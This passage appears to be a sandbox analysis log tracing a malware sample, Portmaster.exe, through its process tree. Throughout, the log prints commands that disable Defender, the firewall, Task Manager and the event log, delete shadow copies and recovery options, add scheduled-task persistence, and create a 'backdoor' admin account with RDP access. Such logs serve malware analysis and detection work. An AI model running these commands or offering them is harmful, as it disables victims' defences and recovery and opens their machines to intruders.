        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        8⤵
        
        PID:9780
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        9⤵
        
        PID:8436
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        8⤵
        
        PID:11032
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        8⤵
        
        PID:10380
        
        C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        7⤵
        Drops startup file
        
        PID:6188
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        8⤵
        
        PID:9612
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        8⤵
        
        PID:2480
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        9⤵
        
        PID:8380
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        8⤵
        
        PID:8368
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        9⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:1412
        
        C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        7⤵
        Drops startup file
        
        PID:8336
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        8⤵
        
        PID:9620
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        8⤵
        
        PID:10064
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        9⤵
        
        PID:2332
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        8⤵
        
        PID:9636
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        9⤵
        
        PID:10704
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        8⤵
        
        PID:10428
      - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        6⤵
        
        PID:6336
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:7104
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    - System Location Discovery: System Language Discovery
    PID:6444
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      Writes to the Master Boot Record (MBR)
      PID:3332
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:9176
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8368
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:452
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3996
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:9072
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:5972
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:8092
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        5⤵
        
        PID:9568
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:10844
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
        5⤵
        
        PID:9684
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:3512
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:6788
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      System Location Discovery: System Language Discovery
      PID:4948
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:7148
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2484
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:9148
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:7600
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:8064
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:7128
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:5180
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:9884
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        5⤵
        
        PID:9364
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    PID:5240
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5240 -s 460
      4⤵
      Program crash
      PID:552
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:8988
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Writes to the Master Boot Record (MBR)
      PID:8364
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8364 -s 468
        5⤵
        Program crash
        
        PID:7800
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:8856
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  - Writes to the Master Boot Record (MBR)
  PID:5592
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:2184
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3556
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4476
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6612
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:1868
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:4720
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:4188
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7696
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8468
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3064
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:2336
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:2916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:1040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:8248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:8304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:9888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:9864
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:7256
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:6204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:10144
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:8456
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:7416
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  - Writes to the Master Boot Record (MBR)
  PID:5800
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:5448
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:1840
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:3520
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:4024
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:7704
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8956
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:996
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:6164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:8164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:8784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:8372
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in Windows directory
      PID:3488
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:9088
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:8256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:8636
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:8748
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:3120
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4944
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5276
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:7624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:7480
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:5200
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:7904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:4708
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:4292
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:7184
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:9196
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:7592
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:8776
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:9212
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:8588
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:4944
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:8896
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    - Writes to the Master Boot Record (MBR)
    PID:7344
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Writes to the Master Boot Record (MBR)
      PID:7924
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:7656
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:8744
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:7964
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8680
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    PID:2368
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:8368
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:8124
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:9172
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 9172 -s 468
      4⤵
      Program crash
      PID:840
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:2788
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:8500
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:7400
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:7684
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:5384
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5888
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:6900
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:2772
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:9764
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3228
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        5⤵
        
        PID:5632
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:11120
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2788 -s 472
      4⤵
      Program crash
      PID:6440
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5800 -s 632
    3⤵
    - Program crash
    PID:8792
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Writes to the Master Boot Record (MBR)
  PID:1828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:2608
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4476
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:2860
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3008
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:5500
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:7736
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:8004
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8004 -s 1844
        5⤵
        Program crash
        
        PID:7092
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8400
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:552
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:9060
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:5172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:6180
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in Windows directory
      PID:6972
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3344
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:8392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:1624
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:1276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:8312
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:8968
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:4448
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:7732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:7616
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:7596
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:8780
- - C:\Windows\SysWOW64\cmd.exe
